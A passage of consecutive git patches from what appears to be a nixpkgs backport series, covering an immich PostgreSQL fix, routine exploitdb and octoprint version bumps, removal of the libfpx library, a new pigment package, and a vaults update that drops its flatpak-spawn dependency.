             psql = "${lib.optionalString (!localDB) "PGPASSFILE=${cfg.database.passwordFile}"} psql ${

From e5cb9a5ba475c1e9203b681baa0c5e4b1baa9904 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 21:40:19 +0200
Subject: [PATCH 1399/4511] nixos/immich: fix postgresql.package regression

`config.services.postgresql.package` is now only available when the
PostgreSQL module is actually enabled. If we're not using the local
database, we'll need to fallback to the latest postgresql version, since
we don't know about the remote version.

(cherry picked from commit 62d2b6d593fee02604eb5f577d85b5697b06aac8)
---
 nixos/modules/services/web-apps/immich.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/web-apps/immich.nix b/nixos/modules/services/web-apps/immich.nix
index a647b552678f..28e89709afde 100644
--- a/nixos/modules/services/web-apps/immich.nix
+++ b/nixos/modules/services/web-apps/immich.nix
@@ -46,6 +46,9 @@ let
     mkOption
     mkEnableOption
     ;
+
+  postgresqlPackage =
+    if cfg.database.enable then config.services.postgresql.package else pkgs.postgresql;
 in
 {
   options.services.immich = {
@@ -265,7 +268,7 @@ in
       in
       [
         ''
-          ${lib.getExe' config.services.postgresql.package "psql"} -d "${cfg.database.name}" -f "${sqlFile}"
+          ${lib.getExe' postgresqlPackage "psql"} -d "${cfg.database.name}" -f "${sqlFile}"
         ''
       ];
 
@@ -333,7 +336,7 @@ in
       path = [
         # gzip and pg_dumpall are used by the backup service
         pkgs.gzip
-        config.services.postgresql.package
+        postgresqlPackage
       ];
 
       serviceConfig = commonServiceConfig // {

From 7797322e043c89094835a3efc8d2232369c554c3 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Tue, 20 May 2025 23:32:54 +0200
Subject: [PATCH 1400/4511] exploitdb: 2025-05-10 -> 2025-05-19

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-05-10...2025-05-19
(cherry picked from commit 761fb0def9f09fd37bf7d139cbbfd6b2bb06ff97)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index 86a9ff62ea9c..aaf64e7aeb61 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-05-10";
+  version = "2025-05-19";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-YcSkBnzw3iMuD0MtpqtUq1gOBoj2ptigI63cI1wBibY=";
+    hash = "sha256-Tk2iPWiybUlsmiHbjJTNEMkCuXVeam49PiWrl4mVzhY=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 41243b8d12ba22575c5379c3add79ffa30dfb7c6 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Fri, 23 May 2025 12:04:38 +0200
Subject: [PATCH 1401/4511] exploitdb: 2025-05-19 -> 2025-05-22

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-05-19...2025-05-22
(cherry picked from commit 2a2425e71827d2d483e9c979cb97c98489927bb5)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index aaf64e7aeb61..4aec5276f880 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-05-19";
+  version = "2025-05-22";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-Tk2iPWiybUlsmiHbjJTNEMkCuXVeam49PiWrl4mVzhY=";
+    hash = "sha256-2dnIchOJJrqqePgOxb7tWw0j1neTlXFyxT30qwTOkrc=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From eb5d61d931f5ac4fb7a14c0afcffbb90fb05b22e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 03:59:26 +0000
Subject: [PATCH 1402/4511] exploitdb: 2025-05-22 -> 2025-05-26

(cherry picked from commit 56df0bf4ce3b96e6565c79adef1b8a8914b84f83)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index 4aec5276f880..42ba290d79e4 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-05-22";
+  version = "2025-05-26";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-2dnIchOJJrqqePgOxb7tWw0j1neTlXFyxT30qwTOkrc=";
+    hash = "sha256-e9a0bzlyqI3lR87X+S9XIVTpEv1a9RxlfKqyk6CsDGU=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 6626373cf400ea983284fd2d25a88b7387877bc8 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Fri, 30 May 2025 08:48:04 +0200
Subject: [PATCH 1403/4511] exploitdb: 2025-05-26 -> 2025-05-30

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-05-26...2025-05-30
(cherry picked from commit e94577ca4af5a566a07a394224f33827a8a4c904)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index 42ba290d79e4..67585f1d7c39 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-05-26";
+  version = "2025-05-30";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-e9a0bzlyqI3lR87X+S9XIVTpEv1a9RxlfKqyk6CsDGU=";
+    hash = "sha256-X90stp4BiHOHoh030eqGeUGiWytF5ryY08/VYEsbnIw=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 51d371f34880d9c6aed7b1da70eba2f8d6e09049 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Fri, 6 Jun 2025 15:13:40 +0200
Subject: [PATCH 1404/4511] exploitdb: 2025-05-30 -> 2025-06-06

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-05-30...2025-06-06
(cherry picked from commit c7a62d368dd19fecb9321e2e1e5e884bf91d1443)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index 67585f1d7c39..069a9f644a54 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-05-30";
+  version = "2025-06-06";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-X90stp4BiHOHoh030eqGeUGiWytF5ryY08/VYEsbnIw=";
+    hash = "sha256-DOzhxZZ66p49tECn0z1lGSNHq3GEpEbayhwsiJ6IGG4=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 93332719367449d579fb4c287c13569f2743819f Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Tue, 10 Jun 2025 20:39:11 +0200
Subject: [PATCH 1405/4511] exploitdb: 2025-06-06 -> 2025-06-10

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-06-06...2025-06-10
(cherry picked from commit f2ebc9699208704893dd5a74e754be14fe41c63f)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index 069a9f644a54..dd25661253b5 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-06-06";
+  version = "2025-06-10";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-DOzhxZZ66p49tECn0z1lGSNHq3GEpEbayhwsiJ6IGG4=";
+    hash = "sha256-add3ejm6rtyvzNbXzdLqCL9Ho131FDJ41aHm3L8LmVg=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 77def41f9003f9e7a5167ce11c4759470bcad9c3 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Mon, 16 Jun 2025 21:27:48 +0200
Subject: [PATCH 1406/4511] exploitdb: 2025-06-10 -> 2025-06-14

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-06-10...2025-06-14
(cherry picked from commit 543b004806947ce8c1f3db19ca4158d5cfc43e3a)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index dd25661253b5..c32e0b4b7d1d 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-06-10";
+  version = "2025-06-14";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-add3ejm6rtyvzNbXzdLqCL9Ho131FDJ41aHm3L8LmVg=";
+    hash = "sha256-znJZK7EhLFg2ImxWqEfvt7Em+M8lAly+oPzrmaGznRU=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 760ec310695aa31f0d1dcd1a7c7d26a75802c634 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Sat, 21 Jun 2025 15:48:54 +0200
Subject: [PATCH 1407/4511] exploitdb: 2025-06-14 -> 2025-06-21

Diff: https://gitlab.com/exploit-database/exploitdb/-/compare/refs/tags/2025-06-14...2025-06-21
(cherry picked from commit 4ad1d5e5ac29e8ff2a47709e94bd55e58d774538)
---
 pkgs/by-name/ex/exploitdb/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ex/exploitdb/package.nix b/pkgs/by-name/ex/exploitdb/package.nix
index c32e0b4b7d1d..3490a80f9cac 100644
--- a/pkgs/by-name/ex/exploitdb/package.nix
+++ b/pkgs/by-name/ex/exploitdb/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "exploitdb";
-  version = "2025-06-14";
+  version = "2025-06-21";
 
   src = fetchFromGitLab {
     owner = "exploit-database";
     repo = "exploitdb";
     rev = "refs/tags/${version}";
-    hash = "sha256-znJZK7EhLFg2ImxWqEfvt7Em+M8lAly+oPzrmaGznRU=";
+    hash = "sha256-6mXku+SW6xmSYxd40Ilis8H/2Ozm6eUecLQHy1xeKtM=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From daeb35a6d0d9049a658eaf1fe79ebd3f0581b9e5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 17 May 2025 20:12:30 +0000
Subject: [PATCH 1408/4511] octoprint: 1.11.0 -> 1.11.1

(cherry picked from commit e1d7ee20aba5f2ec91fb956f6ba26725a67eb708)
---
 pkgs/by-name/oc/octoprint/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/oc/octoprint/package.nix b/pkgs/by-name/oc/octoprint/package.nix
index 9debb63258ef..182f7382702f 100644
--- a/pkgs/by-name/oc/octoprint/package.nix
+++ b/pkgs/by-name/oc/octoprint/package.nix
@@ -73,13 +73,13 @@ let
       (self: super: {
         octoprint = self.buildPythonPackage rec {
           pname = "OctoPrint";
-          version = "1.11.0";
+          version = "1.11.1";
 
           src = fetchFromGitHub {
             owner = "OctoPrint";
             repo = "OctoPrint";
             rev = version;
-            hash = "sha256-Zc9t2mZQVvwJsyd0VaS8tMdGm9Ix3/QNl5ogeOTohVU=";
+            hash = "sha256-eH5AWeER2spiWgtRM5zMp40OakpM5TMXO07WjdY7gNU=";
           };
 
           propagatedBuildInputs =

From 303e130ca5f4171962544080599bfeead21dc62b Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Wed, 11 Jun 2025 18:03:57 +0200
Subject: [PATCH 1409/4511] octoprint: 1.11.1 -> 1.11.2

fixes CVE-2025-48067 and CVE-2025-48879

See https://github.com/OctoPrint/OctoPrint/releases/tag/1.11.2

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit a118ef8018c109c351f44e22f7188c8ab451fe06)
---
 pkgs/by-name/oc/octoprint/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/oc/octoprint/package.nix b/pkgs/by-name/oc/octoprint/package.nix
index 182f7382702f..d6d4112bdfbe 100644
--- a/pkgs/by-name/oc/octoprint/package.nix
+++ b/pkgs/by-name/oc/octoprint/package.nix
@@ -73,13 +73,13 @@ let
       (self: super: {
         octoprint = self.buildPythonPackage rec {
           pname = "OctoPrint";
-          version = "1.11.1";
+          version = "1.11.2";
 
           src = fetchFromGitHub {
             owner = "OctoPrint";
             repo = "OctoPrint";
             rev = version;
-            hash = "sha256-eH5AWeER2spiWgtRM5zMp40OakpM5TMXO07WjdY7gNU=";
+            hash = "sha256-D6lIEa7ee44DWavMLaXIo7RsKwaMneYqOBQk626pI20=";
           };
 
           propagatedBuildInputs =

From 6ac4e88b196eaadc01e9cf107edd53c9ede4dbf7 Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Tue, 20 May 2025 14:05:23 +0100
Subject: [PATCH 1410/4511] libfpx: drop

Unused, unmaintained image processing library
stuck on an outdated version from 2016 and
untouched outside of treewides/ZHF since that bump. Per
<https://github.com/ImageMagick/libfpx/blob/9b547af9651c7147ecebbda567543cc802c8135c/ChangeLog>,
this version has known vulnerabilities. The source tarball has also
vanished from all of the mirrors.

(cherry picked from commit ced8a6aef6f2cab09a8d7650d4ee333114d11bcb)
---
 pkgs/by-name/li/libfpx/package.nix | 47 ------------------------------
 pkgs/top-level/aliases.nix         |  1 +
 2 files changed, 1 insertion(+), 47 deletions(-)
 delete mode 100644 pkgs/by-name/li/libfpx/package.nix

diff --git a/pkgs/by-name/li/libfpx/package.nix b/pkgs/by-name/li/libfpx/package.nix
deleted file mode 100644
index 08851aa47759..000000000000
--- a/pkgs/by-name/li/libfpx/package.nix
+++ /dev/null
@@ -1,47 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  fetchpatch,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "libfpx";
-  version = "1.3.1-7";
-
-  src = fetchurl {
-    url = "mirror://imagemagick/delegates/${pname}-${version}.tar.xz";
-    sha256 = "1s28mwb06w6dj0zl6ashpj8m1qiyadawzl7cvbw7dmj1w39ipghh";
-  };
-
-  # Darwin gets misdetected as Windows without this
-  env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-D__unix";
-
-  patches = [
-    (fetchpatch {
-      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/media-libs/libfpx/files/libfpx-1.3.1_p6-gcc6.patch?id=f28a947813dbc0a1fd1a8d4a712d58a64c48ca01";
-      sha256 = "032y8110zgnkdhkdq3745zk53am1x34d912rai8q70k3sskyq22p";
-    })
-    # Pull upstream fix for -fno-common:
-    #  https://github.com/ImageMagick/libfpx/pull/1
-    (fetchpatch {
-      name = "fno-common.patch";
-      url = "https://github.com/ImageMagick/libfpx/commit/c32b340581ba6c88c5092f374f655c7579b598a6.patch";
-      sha256 = "1gbc0qb2ri1mj9r66wx0yn28fsr7zhhlyz2mwbica8wh34xijgz9";
-    })
-    # fix clang build: remove register keyword
-    # remove on next update
-    (fetchpatch {
-      name = "remove-register-keyword.patch";
-      url = "https://github.com/ImageMagick/libfpx/commit/5f340b0a490450b40302cc9948c7dfac60d40041.patch";
-      hash = "sha256-6m9MFb1eWGK5cMvPmTu7uh3Pac65r2HPB8wJ8xc1O5o=";
-    })
-  ];
-
-  meta = with lib; {
-    homepage = "http://www.imagemagick.org";
-    description = "Library for manipulating FlashPIX images";
-    license = "Flashpix";
-    platforms = platforms.all;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index b5a9e34900f4..f757b79beba2 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -992,6 +992,7 @@ mapAliases {
   libbitcoin-protocol = throw "libbitcoin-protocol has been removed as it required an obsolete version of Boost and had no maintainer in Nixpkgs"; # Added 2024-11-24
   libchop = throw "libchop has been removed due to failing to build and being unmaintained upstream"; # Added 2025-05-02
   libdwg = throw "libdwg has been removed as upstream is unmaintained, the code doesn't build without significant patches, and the package had no reverse dependencies"; # Added 2024-12-28
+  libfpx = throw "libfpx has been removed as it was unmaintained in Nixpkgs and had known vulnerabilities"; # Added 2025-05-20
   libgcrypt_1_8 = throw "'libgcrypt_1_8' is end-of-life. Consider using 'libgcrypt' instead"; # Added 2025-01-05
   libgda = lib.warnOnInstantiate "‘libgda’ has been renamed to ‘libgda5’" libgda5; # Added 2025-01-21
   libgme = game-music-emu; # Added 2022-07-20

From 436775f9a9030b685de9e779a843ad7b77eee6db Mon Sep 17 00:00:00 2001
From: awwpotato <awwpotato@voidq.com>
Date: Sat, 21 Jun 2025 18:46:12 -0700
Subject: [PATCH 1411/4511] pigment: init at 0.5.0

(cherry picked from commit 930403b7deefbd4cf56a37763a72aa7242738e45)
---
 pkgs/by-name/pi/pigment/package.nix | 69 +++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)
 create mode 100644 pkgs/by-name/pi/pigment/package.nix

diff --git a/pkgs/by-name/pi/pigment/package.nix b/pkgs/by-name/pi/pigment/package.nix
new file mode 100644
index 000000000000..95135595e94b
--- /dev/null
+++ b/pkgs/by-name/pi/pigment/package.nix
@@ -0,0 +1,69 @@
+{
+  lib,
+  python3Packages,
+  fetchFromGitHub,
+  ninja,
+  meson,
+  pkg-config,
+  wrapGAppsHook4,
+  glib,
+  desktop-file-utils,
+  appstream-glib,
+  gobject-introspection,
+  gtk4,
+  libadwaita,
+  nix-update-script,
+}:
+let
+  version = "0.5.0";
+in
+python3Packages.buildPythonApplication {
+  pname = "pigment";
+  inherit version;
+  pyproject = false;
+
+  src = fetchFromGitHub {
+    owner = "Jeffser";
+    repo = "Pigment";
+    tag = version;
+    hash = "sha256-VwqCv2IPxPKT/6PDk8sosAIZlyu8zl5HDQEaIRWlJKg=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    wrapGAppsHook4
+    glib
+    desktop-file-utils
+    appstream-glib
+    gobject-introspection
+  ];
+
+  pythonPath = with python3Packages; [
+    pygobject3
+    colorthief
+    pydbus
+  ];
+
+  buildInputs = [
+    gtk4
+    libadwaita
+  ];
+
+  dontWrapGApps = true;
+  makeWrapperArgs = [ "\${gappsWrapperArgs[@]}" ];
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Extract color palettes from your images";
+    homepage = "https://jeffser.com/pigment/";
+    downloadPage = "https://github.com/Jeffser/Pigment";
+    changelog = "https://github.com/Jeffser/Pigment/releases/tag/v${version}";
+    license = lib.licenses.gpl3Plus;
+    mainProgram = "pigment";
+    platforms = lib.platforms.linux;
+    maintainers = [ lib.maintainers.awwpotato ];
+  };
+}

From ad10eedf27cb1c3f66f44fb289ee19400d276182 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Sat, 21 Jun 2025 23:03:24 +0800
Subject: [PATCH 1412/4511] vaults: 0.9.0 -> 0.10.0

(cherry picked from commit e847a969ce43aa609e6fdc1b33287e68e8bf78cb)
---
 .../va/vaults/not-found-flatpak-info.patch    |  11 --
 pkgs/by-name/va/vaults/package.nix            |  44 +++---
 .../va/vaults/remove_flatpak_dependency.patch | 139 ++++++++++++++++++
 3 files changed, 158 insertions(+), 36 deletions(-)
 delete mode 100644 pkgs/by-name/va/vaults/not-found-flatpak-info.patch
 create mode 100644 pkgs/by-name/va/vaults/remove_flatpak_dependency.patch

diff --git a/pkgs/by-name/va/vaults/not-found-flatpak-info.patch b/pkgs/by-name/va/vaults/not-found-flatpak-info.patch
deleted file mode 100644
index d1a9e0dd0079..000000000000
--- a/pkgs/by-name/va/vaults/not-found-flatpak-info.patch
+++ /dev/null
@@ -1,11 +0,0 @@
---- a/src/global_config_manager.rs
-+++ b/src/global_config_manager.rs
-@@ -100,7 +100,7 @@
-         let object: Self = glib::Object::new();
- 
-         *object.imp().flatpak_info.borrow_mut() =
--            Ini::load_from_file("/.flatpak-info").expect("Could not load .flatpak-info");
-+            Ini::load_from_file("/.flatpak-info").unwrap_or_else(|_| Ini::new());
- 
-         match user_config_dir().as_os_str().to_str() {
-             Some(user_config_directory) => {
diff --git a/pkgs/by-name/va/vaults/package.nix b/pkgs/by-name/va/vaults/package.nix
index 24e52a8e7bf6..8a55f45bf772 100644
--- a/pkgs/by-name/va/vaults/package.nix
+++ b/pkgs/by-name/va/vaults/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  replaceVars,
   appstream-glib,
   desktop-file-utils,
   meson,
@@ -18,46 +19,39 @@
   wayland,
   gocryptfs,
   cryfs,
+  fuse,
+  util-linux,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "vaults";
-  version = "0.9.0";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "mpobaschnig";
     repo = "vaults";
-    tag = version;
-    hash = "sha256-PczDj6G05H6XbkMQBr4e1qgW5s8GswEA9f3BRxsAWv0=";
+    tag = finalAttrs.version;
+    hash = "sha256-B4CNEghMfP+r0poyhE102zC1Yd2U5ocV1MCMEVEMjEY=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit src;
-    name = "${pname}-${version}";
-    hash = "sha256-j0A6HlApV0l7LuB7ISHp+k/bSH5Icdv+aNQ9juCCO9I=";
+    inherit (finalAttrs) pname version src;
+    hash = "sha256-my4CxFIEN19juo/ya2vlkejQTaZsyoYLtFTR7iCT9s0=";
   };
 
-  patches = [ ./not-found-flatpak-info.patch ];
+  patches = [
+    (replaceVars ./remove_flatpak_dependency.patch {
+      cryfs = lib.getExe' cryfs "cryfs";
+      gocryptfs = lib.getExe' gocryptfs "gocryptfs";
+      fusermount = lib.getExe' fuse "fusermount";
+      umount = lib.getExe' util-linux "umount";
+    })
+  ];
 
   postPatch = ''
     patchShebangs build-aux
   '';
 
-  makeFlags = [
-    "PREFIX=${placeholder "out"}"
-  ];
-
-  preFixup = ''
-    gappsWrapperArgs+=(
-      --prefix PATH : "${
-        lib.makeBinPath [
-          gocryptfs
-          cryfs
-        ]
-      }"
-    )
-  '';
-
   nativeBuildInputs = [
     desktop-file-utils
     meson
@@ -83,7 +77,7 @@ stdenv.mkDerivation rec {
   meta = {
     description = "GTK frontend for encrypted vaults supporting gocryptfs and CryFS for encryption";
     homepage = "https://mpobaschnig.github.io/vaults/";
-    changelog = "https://github.com/mpobaschnig/vaults/releases/tag/${version}";
+    changelog = "https://github.com/mpobaschnig/vaults/releases/tag/${finalAttrs.version}";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [
       benneti
@@ -92,4 +86,4 @@ stdenv.mkDerivation rec {
     mainProgram = "vaults";
     platforms = lib.platforms.linux;
   };
-}
+})
diff --git a/pkgs/by-name/va/vaults/remove_flatpak_dependency.patch b/pkgs/by-name/va/vaults/remove_flatpak_dependency.patch
new file mode 100644
index 000000000000..7f7e863494de
--- /dev/null
+++ b/pkgs/by-name/va/vaults/remove_flatpak_dependency.patch
@@ -0,0 +1,139 @@
+diff --git a/src/backend/cryfs.rs b/src/backend/cryfs.rs
+index 089bf03..157c72a 100644
+--- a/src/backend/cryfs.rs
++++ b/src/backend/cryfs.rs
+@@ -35,13 +35,7 @@ fn get_binary_path(vault_config: &VaultConfig) -> String {
+         }
+     }
+ 
+-    let global_config = GlobalConfigManager::instance().get_flatpak_info();
+-    let instance_path = global_config
+-        .section(Some("Instance"))
+-        .unwrap()
+-        .get("app-path")
+-        .unwrap();
+-    let cryfs_instance_path = instance_path.to_owned() + "/bin/cryfs";
++    let cryfs_instance_path = "@cryfs@".to_string();
+     log::info!("CryFS binary path: {}", cryfs_instance_path);
+     cryfs_instance_path
+ }
+@@ -49,9 +43,7 @@ fn get_binary_path(vault_config: &VaultConfig) -> String {
+ pub fn is_available(vault_config: &VaultConfig) -> Result<bool, BackendError> {
+     log::trace!("is_available({:?})", vault_config);
+ 
+-    let output = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let output = Command::new(get_binary_path(vault_config))
+         .arg("--version")
+         .output()?;
+     log::debug!("CryFS output: {:?}", output);
+@@ -64,9 +56,7 @@ pub fn is_available(vault_config: &VaultConfig) -> Result<bool, BackendError> {
+ pub fn init(vault_config: &VaultConfig, password: String) -> Result<(), BackendError> {
+     log::trace!("init({:?}, password: <redacted>)", vault_config);
+ 
+-    let mut child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let mut child = Command::new(get_binary_path(vault_config))
+         .env("CRYFS_FRONTEND", "noninteractive")
+         .stdin(Stdio::piped())
+         .stdout(Stdio::piped())
+@@ -106,9 +96,7 @@ pub fn init(vault_config: &VaultConfig, password: String) -> Result<(), BackendE
+ pub fn open(vault_config: &VaultConfig, password: String) -> Result<(), BackendError> {
+     log::trace!("open({:?}, password: <redacted>)", vault_config);
+ 
+-    let mut child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let mut child = Command::new(get_binary_path(vault_config))
+         .env("CRYFS_FRONTEND", "noninteractive")
+         .stdin(Stdio::piped())
+         .stdout(Stdio::piped())
+@@ -143,9 +131,7 @@ pub fn open(vault_config: &VaultConfig, password: String) -> Result<(), BackendE
+ pub fn close(vault_config: &VaultConfig) -> Result<(), BackendError> {
+     log::trace!("close({:?})", vault_config);
+ 
+-    let child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg("fusermount")
++    let child = Command::new("@fusermount@")
+         .arg("-u")
+         .stdout(Stdio::piped())
+         .arg(&vault_config.mount_directory)
+diff --git a/src/backend/gocryptfs.rs b/src/backend/gocryptfs.rs
+index 9638f3a..ffa8f44 100644
+--- a/src/backend/gocryptfs.rs
++++ b/src/backend/gocryptfs.rs
+@@ -35,13 +35,7 @@ fn get_binary_path(vault_config: &VaultConfig) -> String {
+         }
+     }
+ 
+-    let global_config = GlobalConfigManager::instance().get_flatpak_info();
+-    let instance_path = global_config
+-        .section(Some("Instance"))
+-        .unwrap()
+-        .get("app-path")
+-        .unwrap();
+-    let gocryptfs_instance_path = instance_path.to_owned() + "/bin/gocryptfs";
++    let gocryptfs_instance_path = "@gocryptfs@".to_string();
+     log::info!("gocryptfs binary path: {}", gocryptfs_instance_path);
+     gocryptfs_instance_path
+ }
+@@ -49,9 +43,7 @@ fn get_binary_path(vault_config: &VaultConfig) -> String {
+ pub fn is_available(vault_config: &VaultConfig) -> Result<bool, BackendError> {
+     log::trace!("is_available({:?})", vault_config);
+ 
+-    let output = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let output = Command::new(get_binary_path(vault_config))
+         .arg("--version")
+         .output()?;
+     log::debug!("gocryptfs output: {:?}", output);
+@@ -64,9 +56,7 @@ pub fn is_available(vault_config: &VaultConfig) -> Result<bool, BackendError> {
+ pub fn init(vault_config: &VaultConfig, password: String) -> Result<(), BackendError> {
+     log::trace!("init({:?}, password: <redacted>)", vault_config);
+ 
+-    let mut child = Command::new("flatpak-spawn")
+-        .arg("--host")
+-        .arg(get_binary_path(vault_config))
++    let mut child = Command::new(get_binary_path(vault_config))
+         .stdin(Stdio::piped())
+         .stdout(Stdio::piped())
+         .arg("--init")
+@@ -104,9 +94,7 @@ pub fn init(vault_config: &VaultConfig, password: String) -> Result<(), BackendE
+ pub fn open(vault_config: &VaultConfig, password: String) -> Result<(), BackendError> {
+     log::trace!("open({:?}, password: <redacted>)", vault_config);
+ 
